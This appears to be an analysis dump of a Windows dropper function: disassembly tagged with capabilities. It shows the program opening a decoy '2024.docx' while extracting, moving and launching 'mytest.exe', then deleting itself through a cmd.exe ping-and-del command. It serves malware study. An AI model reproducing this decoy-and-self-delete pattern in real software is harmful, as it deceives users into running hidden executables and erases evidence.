Function at 0x1400021f0
Capabilities:
Create process on windows
Get common file path
Move file
Self delete

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x510
mov rax, qword [0x140038080]
xor rax, rsp
mov qword [rsp + 0x500], rax
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
lea rdx, str.2024.docx
mov ecx, 0x65
call fcn.140001e40
xor edi, edi
test al, al
je 0x14000225f
mov dword [rsp + 0x28], 1
lea r8, str.2024.docx
xor r9d, r9d
mov qword [rsp + 0x20], rdi
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
jmp 0x140002292
lea rdx, str.Failed_to_extract_Word_document.
call fcn.140004690
mov dl, 0xa
mov rbx, rax
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
call fcn.140004500
movzx edx, al
mov rcx, rbx
call fcn.140005050
mov rcx, rbx
call fcn.1400042f0
lea rdx, str.C:UsersPublicDocumentsmytest.exe
mov ecx, 0x66
call fcn.140001e40
test al, al
je 0x140002380
xor r9d, r9d
lea rax, [rsp + 0xe0]
xor r8d, r8d
mov qword [rsp + 0x20], rax
xor ecx, ecx
lea edx, [r9 + 0x2e]
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
je 0x1400022d7
lea rdx, str.Failed_to_get_documents_folder_path.
jmp 0x140002323
lea rcx, str.C:UsersPublicDocumentsmytest.exe
call qword [sym.imp.SHLWAPI.dll_PathFindFileNameW]
mov r8, rax
lea rdx, [rsp + 0xe0]
lea rcx, [rsp + 0x2f0]
call qword [sym.imp.SHLWAPI.dll_PathCombineW]
mov r8d, 1
lea rdx, [rsp + 0x2f0]
lea rcx, str.C:UsersPublicDocumentsmytest.exe
call qword [sym.imp.KERNEL32.dll_MoveFileExW]
test eax, eax
jne 0x140002358
lea rdx, str.Failed_to_move_file_to_Documents_folder.
call fcn.140004690
mov rbx, rax
mov dl, 0xa
mov rax, qword [rax]
movsxd rcx, dword [rax + 4]
add rcx, rbx
call fcn.140004500
movzx edx, al
mov rcx, rbx
call fcn.140005050
mov rcx, rbx
call fcn.1400042f0
lea rdx, str.Failed_to_move_executable_to_Documents_folder.
jmp 0x140002387
mov dword [rsp + 0x28], 1
lea r8, str.C:UsersPublicDocumentsmytest.exe
xor r9d, r9d
mov qword [rsp + 0x20], rdi
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
jmp 0x1400023b3
lea rdx, str.Failed_to_extract_executable.
call fcn.140004690
mov dl, 0xa
mov rbx, rax
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
call fcn.140004500
movzx edx, al
mov rcx, rbx
call fcn.140005050
mov rcx, rbx
call fcn.1400042f0
mov r8d, 0x104
lea rdx, [rsp + 0x2f0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
je 0x14000248c
lea r9, [rsp + 0x2f0]
mov edx, 0x104
lea r8, str.cmd.exe__C_ping_127.0.0.1__n_6___nul__del__F___s_
lea rcx, [rsp + 0xe0]
call fcn.140001150
xorps xmm0, xmm0
mov dword [rsp + 0x70], 0x68
lea rax, [rsp + 0x50]
xor r9d, r9d
mov qword [rsp + 0x48], rax
lea rdx, [rsp + 0xe0]
lea rax, [rsp + 0x70]
xor r8d, r8d
mov qword [rsp + 0x40], rax
xor ecx, ecx
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], 0x8000000
mov dword [rsp + 0x20], edi
movups xmmword [rsp + 0x78], xmm0
movups xmmword [rsp + 0x88], xmm0
movups xmmword [rsp + 0x98], xmm0
movups xmmword [rsp + 0xa8], xmm0
movups xmmword [rsp + 0xb8], xmm0
movups xmmword [rsp + 0xc8], xmm0
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x14000248c
mov rcx, qword [rsp + 0x58]
mov rbx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test rbx, rbx
je 0x14000248c
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov rcx, qword [rsp + 0x500]
xor rcx, rsp
call fcn.1400061e0
mov rbx, qword [rsp + 0x520]
add rsp, 0x510
pop rdi
ret